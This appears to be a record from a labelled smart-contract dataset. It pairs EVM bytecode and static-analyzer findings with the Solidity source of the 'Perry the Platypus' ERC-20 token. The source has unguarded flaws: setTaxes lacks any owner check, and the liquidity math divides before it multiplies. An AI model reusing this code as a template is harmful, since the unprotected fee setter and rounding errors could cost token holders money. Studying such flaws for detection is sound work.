57600080fd5b6108aa6108a387600301546064611ffb565b600a612017565b94506108c16108ba866064611ffb565b6002612017565b93506108d86108d1866064611ffb565b6001612017565b92506108e48385612049565b91506108f08583612058565b6001870154909150600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561092857600080fd5b600a860154600160a060020a03166108fc85150285604051600060405180830381858888f19350505050151561095d57600080fd5b600b860154600160a060020a03166108fc84150284604051600060405180830381858888f19350505050151561099257600080fd5b6109a0866003015486612058565b6003878101919091555443016004870155600a86015460008051602061245b83398151915290600160a060020a031685604051600160a060020a03909216825260208201527f7769746864726177616c50726576696f75734f776e65720000000000000000006040808301919091526060909101905180910390a1600b86015460008051602061245b83398151915290600160a060020a031684604051600160a060020a03909216825260208201527f7769746864726177616c50726576696f75734f776e65723200000000000000006040808301919091526060909101905180910390a1600186015460008051602061245b83398151915290600160a060020a031682604051600160a060020a03909216825260208201527f7769746864726177616c4f776e657200000000000000000000000000000000006040808301919091526060909101905180910390a17fdcfb70a6f0f5eab41644ac0cde62fe5f51ce0bb0a53b88ea72c4b2b78ad887bc8760405190815260200160405180910390a150505050505050565b60015490565b600081815260066020526040902060010154600160a060020a03848116911614610b5a57600080fd5b600081815260066020526040902060090154600160a060020a03838116911614610b8357600080fd5b600160a060020a0382161515610b9857600080fd5b610ba383838361206a565b505050565b60008054819081908190819081908190819060a060020a900460ff1615610bce57600080fd5b60008b8152600660205260409020600254909850610bed908b90612017565b600189015490975033600160a060020a03908116911614610c0d57600080fd5b33600160a060020a03161515610c2257600080fd5b3487901015610c3057600080fd5b8815610c4e57610c4488600601548b612049565b6006890155610c62565b610c5c88600701548b612049565b60078901555b610c77610c70886064611ffb565b6050612017565b9550610c8e610c87886064611ffb565b6011612017565b9450610c9e6108ba886064611ffb565b9350610cae6108d1886064611ffb565b600a890154909350600160a060020a03166108fc85150285604051600060405180830381858888f193505050501515610ce657600080fd5b600b880154600160a060020a03166108fc84150284604051600060405180830381858888f193505050501515610d1b57600080fd5b610d29868960030154612049565b6003890155610d43610d3c866064611ffb565b6014612017565b9150610d53610c70866064611ffb565b600454909150600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515610d8957600080fd5b600054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610dbc57600080fd5b600a88015460008051602061245b83398151915290600160a060020a031685604051600160a060020a03909216825260208201527f6275795368697050726576696f75734f776e65720000000000000000000000006040808301919091526060909101905180910390a1600b88015460008051602061245b83398151915290600160a060020a031684604051600160a060020a03909216825260208201527f6275795368697050726576696f75734f776e65723200000000000000000000006040808301919091526060909101905180910390a160018801547ff93b010291992b1f39b774e39ebd25679d89423a837516acc89864839e693579908c90600160a060020a0316604051918252600160a060020a031660208201526040908101905180910390a15050505050505050505050565b600081815260066020526040902060010154600160a060020a0316801515610f1657600080fd5b919050565b60005460a060020a900460ff1681565b600160a060020a031660009081526005602052604090205490565b600054600160a060020a031681565b600081815260066020819052604090912080546001820154600283015460038401546004850154600586015496860154600787015460089097015498999598600160a060020a0390951697939692959194909291565b60008060008060008060008060008060008060149054906101000a900460ff16151560001515141515610fdd57600080fd5b600660008e81526020019081526020016000209a50600760008e81526020019081526020016000209950600660008d81526020019081526020016000209850600760008d8152602001908152602001600020975033600160a060020a03168b60010160009054906101000a9004600160a060020a0316600160a060020a031614151561106857600080fd5b6001808a0154908c0154600160a060020a039081169116141561108a57600080fd5b33600160a060020a0316151561109f57600080fd5b34156110aa57600080fd5b60068a01544310156110bb57600080fd5b60078801544310156110cc57600080fd5b60068b0154600090116110de57600080fd5b600789015460068c0154116110f257600080fd5b61110b6111048a600301546064611ffb565b604b612017565b965061111b896003015488612058565b60038a015589546001018a5560048a01546111369088612049565b60048b0155600388018054600101905560058801546111559088612049565b60058901556014430160068b0181905560078901819055955061117c611104886064611ffb565b945061118c8b6003015486612049565b60038c015560068b01546111ad906111a86108ba826064611ffb565b612058565b60068c015560078901546111c9906111a86108a3826064611ffb565b60078a01556111e36111dc886064611ffb565b600f612017565b93506111fa6111f3886064611ffb565b6006612017565b925061121161120a886064611ffb565b6003612017565b91506112216108d1886064611ffb565b60018c0154909150600160a060020a031684156108fc0285604051600060405180830381858888f19350505050151561125957600080fd5b600a8b0154600160a060020a03166108fc84150284604051600060405180830381858888f19350505050151561128e57600080fd5b600b8b0154600160a060020a03166108fc83150283604051600060405180830381858888f1935050505015156112c357600080fd5b600454600160a060020a03166108fc6112e0610d3c846064611ffb565b9081150290604051600060405180830381858888f19350505050151561130557600080fd5b600054600160a060020a03166108fc611322610c70846064611ffb565b9081150290604051600060405180830381858888f19350505050151561134757600080fd5b7fcb506c37cfbb0a3ca5ece5771a78558cb9099b1dc7bf09e7f3e17845fb6f40268d8d60405191825260208201526040908101905180910390a150505050505050505050505050565b60005433600160a060020a039081169116146113ab57600080fd5b33600160a060020a031615156113c057600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a179055565b6113ee6123ca565b60408051908101604052600381527f45495300000000000000000000000000000000000000000000000000000000006020820152905090565b60408051908101604052600c81527f457468657249736c616e64730000000000000000000000000000000000000000602082015281565b33600160a060020a0316151561147357600080fd5b60008181526006602052604090206001015433600160a060020a0390811691161461149d57600080fd5b6114a833838361206a565b5050565b600081815260066020526040902060010154600160a060020a0390811690331615156114d757600080fd5b60008281526006602052604090206009015433600160a060020a0390811691161461150157600080fd5b6114a881338461206a565b60005433600160a060020a0390811691161461152757600080fd5b33600160a060020a0316151561153c57600080fd5b61154b85848660008686612123565b5050505050565b60009081526006602052604090206002015490565b60005433600160a060020a0390811691161461158257600080fd5b33600160a060020a0316151561159757600080fd5b6000805474ff000000000000000000000000000000000000000019169055565b60008181526007602081905260409091208054600182015460028301546003840154600485015460058601546006870154969097015497989497939692959194909390565b6116046123ca565b61160c6123ca565b6116146123ca565b61161c6123ca565b6116246123ca565b61162c6123ca565b6116346123ca565b61163c6123ca565b6116446123ca565b61164c6123ca565b6116546123ca565b61165c6123ca565b6116646123ca565b61166c6123ca565b600060015460405180591061167e5750595b908082528060200260200182016040525097506001546040518059106116a15750595b908082528060200260200182016040525096506001546040518059106116c45750595b908082528060200260200182016040525095506001546040518059106116e75750595b9080825280602002602001820160405250945060015460405180591061170a5750595b9080825280602002602001820160405250935060015460405180591061172d5750595b908082528060200260200182016040525092506001546040518059106117505750595b90808252806020026020018201604052509150600090505b6001548110156118a9578088828151811061177f57fe5b6020908102909101810191909152600082815260069091526040902060010154600160a060020a03168782815181106117b457fe5b600160a060020a0390921660209283029091018201526000828152600690915260409020600201548682815181106117e857fe5b602090810290910181019190915260008281526006909152604090206003015485828151811061181457fe5b6020908102909101810191909152600082815260069182905260409020015484828151811061183f57fe5b602090810290910181019190915260008281526006909152604090206007015483828151811061186b57fe5b602090810290910181019190915260008281526006909152604090206008015482828151811061189757fe5b60209081029091010152600101611768565b50959d949c50929a50909850965094509092509050565b60005433600160a060020a039081169116146118db57600080fd5b80600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561191857600080fd5b50565b6000805481908190819081908190819081908190819060a060020a900460ff161561194557600080fd5b60008b81526006602052604090206001810154909a5033600160a060020a039081169116141561197457600080fd5b33600160a060020a0316151561198957600080fd5b60028a015434101561199a57600080fd5b6119a8348b60020154612058565b985060008a600501541115611d2d576119d06119c98b6002015460a0611ffb565b6082612017565b97506119eb6119e48b6002015460a0611ffb565b6012612017565b9650611a066119ff8b6002015460a0611ffb565b6007612017565b9550611a1a61120a8b6002015460a0611ffb565b9450611a2e6108ba8b6002015460a0611ffb565b60018b015490945030600160a060020a03908116911614611a7e5760018a0154600160a060020a031688156108fc0289604051600060405180830381858888f193505050501515611a7e57600080fd5b600a8a0154600160a060020a03166108fc86150286604051600060405180830381858888f193505050501515611ab357600080fd5b600b8a0154600160a060020a03166108fc85150285604051600060405180830381858888f193505050501515611ae857600080fd5b611af6878b60030154612049565b60038b0155611b09610d3c876064611ffb565b9250611b19610c70876064611ffb565b600454909250600160a060020a031683156108fc0284604051600060405180830381858888f193505050501515611b4f57600080fd5b600054600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515611b8257600080fd5b600a8a015460008051602061245b83398151915290600160a060020a031686604051600160a060020a03909216825260208201527f70726576696f75734f776e6572000000000000000000000000000000000000006040808301919091526060909101905180910390a1600b8a015460008051602061245b83398151915290600160a060020a031685604051600160a060020a03909216825260208201527f70726576696f75734f776e6572320000000000000000000000000000000000006040808301919091526060909101905180910390a160018a015460008051602061245b83398151915290600160a060020a031689604051600160a060020a03909216825260208201527f6f776e65720000000000000000000000000000000000000000000000000000006040808301919091526060909101905180910390a160005460008051602061245b83398151915290600160a060020a031687604051600160a060020a03909216825260208201527f64657600000000000000000000000000000000000000000000000000000000006040808301919091526060909101905180910390a1611d63565b60018a0154600160a060020a03163480156108fc0290604051600060405180830381858888f193505050501515611d6357600080fd5b50600289015460058a01819055600354430160048b015560018a0154600160a060020a031690611d9f90611d98906064611ffb565b60a0612017565b60028b0155600a8a018054600b8c018054600160a060020a03808416600160a060020a0319928316179092556001808f01805480851695841695909517909555921633821617835560088d01805483019055838116600090815260056020526040808220805460001901905584548316825290819020805490930190925591547fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9284929116908e9051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a160058a015460028b015460018c01548c547fdcab0704e5b2c212cba558657bf325bc1b823c2a4e89c77e93926533ec56b5f9938f93909290918691600160a060020a0316906040519586526020860194909452604080860193909352600160a060020a03918216606086015216608084015260a083019190915260c0909101905180910390a1600160a060020a03331689156108fc028a604051600060405180830381858888f193505050501515611f2957600080fd5b5050505050505050505050565b60005433600160a060020a03908116911614611f5157600080fd5b600160a060020a0381161515611f6657600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60408051908101604052600381527f4549530000000000000000000000000000000000000000000000000000000000602082015281565b600080828481151561200957fe5b0490508091505b5092915050565b60008083151561202a5760009150612010565b5082820282848281151561203a57fe5b041461204257fe5b9392505050565b60008282018381101561204257fe5b60008282111561206457fe5b50900390565b600081815260066020908152604080832060018082018054600160a060020a03808a16600160a060020a03199283168117909355600990940180549091169055918816855260059093528184208054600019019055835291829020805490910190557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084908490849051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a1505050565b610160604051908101604052808760001916815260200186600160a060020a031681526020018581526020016000815260200160008152602001848152602001838152602001828152602001600081526020016000600160a060020a03168152602001604080519081016040908152600160a060020a038916808352602080840191909152919092526001546000908152600690915220815181556020820151600182018054600160a060020a031916600160a060020a039290921691909117905560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e082015181600701556101008201518160080155610120820151600982018054600160a060020a031916600160a060020a039290921691909117905561014082015161226a90600a83019060026123dc565b5090505061010060405190810160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815250600760006001548152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e082015181600701559050507f6dbe83e0361d1759b05d67925ee5ed7d3c73361da16f0abb8aaebf121c7fd34560015487876040519283526020830191909152600160a060020a03166040808301919091526060909101905180910390a17fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef3086600154604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050600180548101905550505050565b60206040519081016040526000815290565b8260028101928215612426579160200282015b828111156124265782518254600160a060020a031916600160a060020a0391909116178255602092909201916001909101906123ef565b50612432929150612436565b5090565b61076a91905b80821115612432578054600160a060020a031916815560010161243c5600643236658eb2709c16f0857e1a7a4fffee3c798264461cc3462be70c4fa9d8cda165627a7a7230582043d2474d71b265c422cea6b7fdf8ef08730f9426bf200f400e3fbb18a9a784840029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,746 |
0x045D0365dE672AF215Ac05E734748E77b18c67aA
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract PerryThePlatypus is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Perry the Platypus";
string private constant _symbol = "PERRY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 1000 * 1e5 * 1e9; // 100,000,000
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 public _maxWalletAmount = 4000 * 1e3 * 1e9; // 4,000,000
// fees
uint256 public _liquidityFeeOnBuy = 0;
uint256 public _marketingFeeOnBuy = 7;
uint256 public _liquidityFeeOnSell = 6;
uint256 public _marketingFeeOnSell = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _liquidityFee;
uint256 private _marketingFee;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private _marketingAddress = payable(0x620ab81bE2772D429edA6478F0167ce720A33896);
address payable private _deployWallet = payable(0x620ab81bE2772D429edA6478F0167ce720A33896);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 public swapAmount;
bool private tradingOpen = false;
bool private inSwap = false;
event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
swapAmount = 100000 * 1e9;
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_deployWallet] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_marketingFee == 0 && _liquidityFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
_marketingFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_marketingFee = _previousMarketingFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
require(tradingOpen);
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !bots[to]) {
_liquidityFee = _liquidityFeeOnBuy;
_marketingFee = _marketingFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_liquidityFee = _liquidityFeeOnSell;
_marketingFee = _marketingFeeOnSell;
}
if (!inSwap && from != uniswapV2Pair) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapAmount) {
swapAndLiquify(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_deployWallet,
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLPamount = _liquidityFee.mul(contractTokenBalance).div(_marketingFee.add(_liquidityFee));
// split the contract balance into halves
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(otherHalf); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function manualSwap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0) {
swapTokensForEth(contractBalance);
}
}
function manualSend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
FeeBreakdown memory fees;
fees.tMarketing = amount.mul(_marketingFee).div(100);
fees.tLiquidity = amount.mul(_liquidityFee).div(100);
fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity));
emit Transfer(sender, recipient, fees.tAmount);
}
receive() external payable {}
function setMaxWalletAmount(uint256 maxWalletAmount) external onlyOwner() {
require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply");
require(maxWalletAmount <= _tTotal, "Amount must be less than or equal to totalSupply");
_maxWalletAmount = maxWalletAmount;
}
function setSwapAmount(uint256 _swapAmount) external {
require(_msgSender() == _deployWallet || _msgSender() == _marketingAddress);
swapAmount = _swapAmount;
}
function setTaxes(uint256 marketingFee, uint256 liquidityFee) external {
uint256 totalFee = marketingFee.add(liquidityFee);
require(totalFee < 25, "Sum of fees must be less than 25");
_marketingFee = marketingFee;
_liquidityFee = liquidityFee;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
emit FeesUpdated(_marketingFee, _liquidityFee);
}
}
|
0x6080604052600436106101445760003560e01c806370a08231116100b6578063d52dfc141161006f578063d52dfc14146103b7578063dd62ed3e146103cd578063e581dc7114610413578063e632313c14610429578063f2fde38b14610449578063f42938901461046957600080fd5b806370a08231146102df5780638da5cb5b1461031557806395d89b4114610333578063a9059cbb14610361578063c4066f2f14610381578063c647b20e1461039757600080fd5b80632e8fa821116101085780632e8fa82114610234578063313ce5671461024a5780633c0a73ae1461026657806349bd5a5e1461027c57806351bc3c85146102b45780636c0a24eb146102c957600080fd5b806306fdde0314610150578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f257806327a14fc21461021257600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152601281527150657272792074686520506c61747970757360701b60208201525b6040516101949190611483565b60405180910390f35b3480156101a957600080fd5b506101bd6101b83660046114ed565b61047e565b6040519015158152602001610194565b3480156101d957600080fd5b5067016345785d8a00005b604051908152602001610194565b3480156101fe57600080fd5b506101bd61020d366004611519565b610495565b34801561021e57600080fd5b5061023261022d36600461155a565b6104fe565b005b34801561024057600080fd5b506101e460155481565b34801561025657600080fd5b5060405160098152602001610194565b34801561027257600080fd5b506101e460085481565b34801561028857600080fd5b5060145461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610194565b3480156102c057600080fd5b50610232610647565b3480156102d557600080fd5b506101e460075481565b3480156102eb57600080fd5b506101e46102fa366004611573565b6001600160a01b031660009081526002602052604090205490565b34801561032157600080fd5b506000546001600160a01b031661029c565b34801561033f57600080fd5b50604080518082019091526005815264504552525960d81b6020820152610187565b34801561036d57600080fd5b506101bd61037c3660046114ed565b610689565b34801561038d57600080fd5b506101e4600b5481565b3480156103a357600080fd5b506102326103b2366004611590565b610696565b3480156103c357600080fd5b506101e4600a5481565b3480156103d957600080fd5b506101e46103e83660046115b2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561041f57600080fd5b506101e460095481565b34801561043557600080fd5b5061023261044436600461155a565b610746565b34801561045557600080fd5b50610232610464366004611573565b610789565b34801561047557600080fd5b50610232610851565b600061048b338484610881565b5060015b92915050565b60006104a28484846109a5565b6104f484336104ef85604051806060016040528060288152602001611744602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610d93565b610881565b5060019392505050565b6000546001600160a01b0316331461055d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61057067016345785d8a000060c8610dcd565b81116105d15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b6064820152608401610554565b67016345785d8a00008111156106425760405162461bcd60e51b815260206004820152603060248201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160448201526f6c20746f20746f74616c537570706c7960801b6064820152608401610554565b600755565b6011546001600160a01b0316336001600160a01b03161461066757600080fd5b3060009081526002602052604090205480156106865761068681610e16565b50565b600061048b3384846109a5565b60006106a28383610f99565b9050601981106106f45760405162461bcd60e51b815260206004820181905260248201527f53756d206f662066656573206d757374206265206c657373207468616e2032356044820152606401610554565b600f839055600e829055600d839055600c82905560408051848152602081018490527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a1505050565b6012546001600160a01b0316336001600160a01b0316148061077b57506011546001600160a01b0316336001600160a01b0316145b61078457600080fd5b601555565b6000546001600160a01b031633146107e35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610554565b6001600160a01b0381166108485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610554565b61068681610ff8565b6011546001600160a01b0316336001600160a01b03161461087157600080fd5b4780156106865761068681611048565b6001600160a01b0383166108e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610554565b6001600160a01b0382166109445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610554565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610554565b6001600160a01b038216610a6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610554565b60008111610acd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610554565b6001610ae16000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610b1057506000546001600160a01b03848116911614155b8015610b2557506001600160a01b0384163014155b8015610b3a57506001600160a01b0383163014155b15610d285760165460ff16610b4e57600080fd5b6014546001600160a01b038581169116148015610b7957506013546001600160a01b03848116911614155b15610c2857600754610baa8361